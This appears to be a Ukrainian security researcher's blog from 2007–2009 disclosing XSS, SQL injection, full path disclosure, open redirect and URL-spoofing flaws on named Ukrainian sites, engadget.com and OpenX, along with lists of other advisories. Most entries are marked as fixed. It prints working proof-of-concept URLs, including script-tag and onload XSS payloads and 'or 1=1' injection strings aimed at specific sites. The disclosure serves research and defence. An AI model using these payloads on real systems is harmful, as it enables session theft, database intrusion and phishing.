Websecurity - Веб безпека

06.01.2009

У лютому, 25.02.2008, я знайшов Cross-Site Scripting та Information Leakage уразливості на проекті http://ubr.ua (онлайн ЗМІ). Про що найближчим часом сповіщу адміністрацію проекту.

Детальна інформація про уразливості з’явиться пізніше. Треба дати час адмінам на реакцію з цього приводу.

07.05.2009

XSS:

• alert(document.cookie)
• alert(document.cookie)

Information Leakage:

http://ubr.ua/news/xml/rss200/smphr/1/

Дані уразливості вже виправлені.

Але дірки в старому локальному пошуковці виправлені за рахунок його заміни на новий. В якому також є XSS уразливість.

XSS:

• alert(document.cookie)
• цікавий
• html включення

В даній добірці уразливості в веб додатках:

• Super News v1.0 Remote SQL Injection Vulnerability (деталі)
• SOPHOS Email Security Appliance Cross Site Scripting Vulnerability (деталі)
• Lyris ListManager - Multiple Vulnerabilities (деталі)
• RedDot CMS SQL injection vulnerability (деталі)
• Acidcat CMS Multiple Vulnerabilities (деталі)
• Deciphering the PHP-Nuke Captcha (деталі)
• Deciphering the Simple Machines Forum audio Captcha (деталі)
• Cross site scripting issues in s9y (CVE-2008-1386, CVE-2008-1387) (деталі)
• Xoops All Version -Articles- Article.PHP (ID) Blind SQL Injection ExpL0it (деталі)
• Powered by gCards v1.46 SQL (деталі)

У серпні, 11.08.2008, я знайшов нові уразливості на проекті http://www.rozetka.com.ua (онлайн магазин). Це Cross-Site Scripting та Insufficient Anti-automation уразливості. Про що найближчим часом сповіщу адміністрацію проекту.

Стосовно уразливостей на сайтах онлайн магазинів останній раз я писав про уразливості на tvshop.com.ua. Також раніше я вже писав про уразливості на www.rozetka.com.ua.

XSS:

• alert(document.cookie)
• цікавий
• html включення

Insufficient Anti-automation:

http://www.rozetka.com.ua/register.php
http://www.rozetka.com.ua/ru/contacts/index.html

На сторінці реєстрації та сторінці контактів немає захисту від автоматизованих запитів (капчі).

Дані уразливості досі не виправлені.

11.09.2007

У січні, 09.01.2007 (а також додатково сьогодні), я знайшов Cross-Site Scripting, SQL DB Structure Extraction, Full path disclosure, SQL Injection та DoS уразливості на проекті http://www.pk.kiev.ua (онлайн ЗМІ). Про що найближчим часом сповіщу адміністрацію проекту.

Детальна інформація про уразливості з’явиться пізніше.

05.05.2009

Зараз сайт http://www.pk.kiev.ua змінив домен на http://mycityua.com.

XSS:

• alert(document.cookie)
• alert(document.cookie)
• alert(document.cookie)

SQL DB Structure Extraction:

http://www.pk.kiev.ua/search/?search=-

http://www.pk.kiev.ua/search/?search=1&section%5B10%5D=10-

http://www.pk.kiev.ua/search/?search=1&ordnung=date-

Full path disclosure:

http://www.pk.kiev.ua/search/?search=1&section%5B10%5D=10-

SQL Injection:

http://www.pk.kiev.ua/search/?search=news&section%5B10%5D=1000%20or%201=1/*

DoS (через SQL Injection):

http://www.pk.kiev.ua/search/?search=1&section%5B10%5D=1%20or%20chapter!=1000/*

Дані уразливості вже виправлені. Але як щойно глянув, в пошуці на оновленому сайті також є уразливості (Cross-Site Scripting, SQL DB Structure Extraction та SQL Injection), про що я з часом напишу.

У березні, 12.03.2009, я знайшов Full path disclosure, Cross-Site Scripting та Redirector уразливості в OpenX (Redirector уразливість в цій банерній системі я зустрічав на сайтах ще в 2007 році). Це популярна локальна банерна система, що раніше називалася Openads. Уразливості виявив в OpenX v2.4.7 та перевірив їх в інших версіях системи.

Full path disclosure:

http://site/openx/www/delivery/fc.php?MAX_type=1

XSS:

http://site/openx/www/delivery/fc.php?MAX_type=%3Cscript%3Ealert(document.cookie)%3C/script%3E

XSS (обхід XSS фільтрів у версії 2.6.3):

http://site/openx/www/delivery/fc.php?MAX_type=%3CBODY%20onload=alert(document.cookie)%3E

Redirector:

http://site/openx/www/delivery/ck.php?dest=http://site.com

Про редиректор в Openads / OpenX я вже писав.

Уразливі OpenX v2.4.9, OpenX v2.6.3 та попередні версії (та всі версії Openads). А до Redirector уразливі всі версії системи - OpenX v2.8.0 та попередні версії.

В даній добірці уразливості в веб додатках:

• Fones Clinic Mart SQL (деталі)
• Format string in The Dawn of Time 1.69s beta4 (деталі)
• HP Storage Essentials SRM, Remote Unauthorized Access (деталі)
• Carbon Communities forum Multiple Vulnerabilities. (деталі)
• Istant-Replay Forum Remote File Inclusion Vulnerability (деталі)
• Koobi Pro 6.25 poll Remote SQL Injection Vulnerability (деталі)
• Koobi CMS 4.2.4/4.2.5/4.3.0 Multiple Remote SQL Injection Vulnerabilities (деталі)
• Classifieds Caffe (index.php cat_id) Remote SQL Injection (деталі)
• LightNEasy v.1.2.2 flat Multiple Vulnerabilities (деталі)
• 5th avenue Shopping Cart SQL Injection (деталі)

15.12.2008

У лютому, 16.02.2008, я знайшов Cross-Site Scripting уразливість на проекті http://holms.adamant.ua - пошуковій системі Холмс. Про що найближчим часом сповіщу адміністрацію проекту.

Стосовно проектів компанії Адамант раніше я писав про уразливість на adamant.ua.

Детальна інформація про уразливість з’явиться пізніше.

01.05.2009

XSS:

• alert(document.cookie) (виправлена)
• html включення (PR6)

Дану уразливість вже виправели (тільки XSS, але не HTML Injection), але неякісно. І даний фільтр легко обходиться.

XSS:

• alert(document.cookie)
• цікавий

Учора, 29.04.2009, я знайшов Cross-Site Scripting уразливість на популярному проекті http://www.engadget.com. Яку я виявив під час досліджень URL Spoofing уразливості в GoogleBot, Yahoo! Slurp та різних браузерах. Про що найближчим часом сповіщу адміністрацію проекту.

XSS:

• alert(document.cookie)
• цікавий
• html включення

Атака відбувається через XSS в імені піддомена. Уразливість працює лише в Mozilla 1.7.x та попередніх версіях. Це приклад нового типу XSS уразливостей - доменного XSS (Domain reflected XSS).

В даній добірці уразливості в веб додатках:

• w2b.ru multiple products SQL Injection (деталі)
• Critical Vulnerability in Windows URI Handling Could Allow Remote Code Execution (943460) (деталі)
• UniversalFtp Server 1.0.44 Multiple Remote Denial of service (деталі)
• BosNews 2002-2006 Remote add user admin (деталі)
• BosNews v4.0 Remote add user admin (деталі)
• Dotclear ‘ecrire/images.php’ Arbitrary File Upload Vulnerability (деталі)
• KwsPHP (Upload) Remote Code Execution Exploit (деталі)
• Cezanne SW Cross-Site Scripting (деталі)
• Cezanne SW Cross-Site Scripting (login required) (деталі)
• Cezanne SW Blind SQL Injection (деталі)

На минулому тижні я писав про URL Spoofing уразливість в GoogleBot, Mozilla та Internet Explorer (та в Yahoo! Slurp), яка також може бути в ботах інших пошуковців. Сьогодні я провів додаткові дослідження даної уразливості й виявив нові можливості для атаки з її використанням.

Як я вже зазначав, за допомогою даної уразливості можна підроблювати URL та проводити фішинг атаки, і використовувати її для поширення шкідливого коду. А також даний метод може використовуватися для SEO, щоб додати нові ключові слова в URL, при цьому не перевантажуючи реальну адресу веб сайта.

Після того як Володимир Дубровін aka 3APA3A звернув мою увагу на можливість використання й інших символів для даної атаки, я вирішив детально перевірити це питання. В попередньому записі я писав про використання пробілу для URL Spoofing атаки, яку я також назвав склейка доменів (domain gluing).

І як я перевірив, окрім пробілу (%20) для даної атаки також можуть бути використані інші символи.

Mozilla підтримує: %00..%ff.

http://site.com%00www.tab.net.ua/sites/blog/site_name.mikolasz/id.195/
...
http://site.com%ffwww.tab.net.ua/sites/blog/site_name.mikolasz/id.195/

IE6 та IE7 підтримують: %20..%2d та %30..%ff.

http://site.com%20www.tab.net.ua/sites/blog/site_name.mikolasz/id.195/
...
http://site.com%ffwww.tab.net.ua/sites/blog/site_name.mikolasz/id.195/

При цьому IE при запиті до сайту або одразу заміняє url-encoded символи на їх звичайні еквіваленти, або взагалі прибирає їх (якщо ці символи не відображуються).

Зазначу, що якщо символи пробілу (%20) в адресах сайтів для проведення даної атаки я знаходив в пошуковцях (Гуглі та Яху), то використання інших символів я не зустрічав, тому невідомо чи підтримують індексацію подібних символів в назві доменів пошукові системи. Але потенційно їх можуть підтримувати і боти пошуковців (GoogleBot, Yahoo! Slurp та інші).

Також я вияснив, що можливість даної атаки також залежить від налаштувань веб сервера, який повинен підтримувати будь-які піддомени. Тобто не на кожному веб сайті можна провести дану атаку, а лише на відповідно налаштованих.

Зокрема окрім www.tab.net.ua, також дана атака можлива на www.engadget.com і www.poweroptimizer.com.

URL Spoofing:

Заіндексовано Google:

http://www.kp.ruget.com.20www.engadget.com
Схема: http://www.site.com%20www.engadget.com

Заіндексовано Yahoo:

http://www.energyopt.com.%20www.poweroptimizer.com
Схема: http://www.site.com%20www.poweroptimizer.com

Уразливий GoogleBot.

Уразливий Yahoo! Slurp.

Уразливі Mozilla 1.7.x та попередні версії.

Уразливі версії Internet Explorer 6 (6.0.2900.2180), Internet Explorer 7 (7.0.6001.18000) та попередні версії. І потенційно IE8.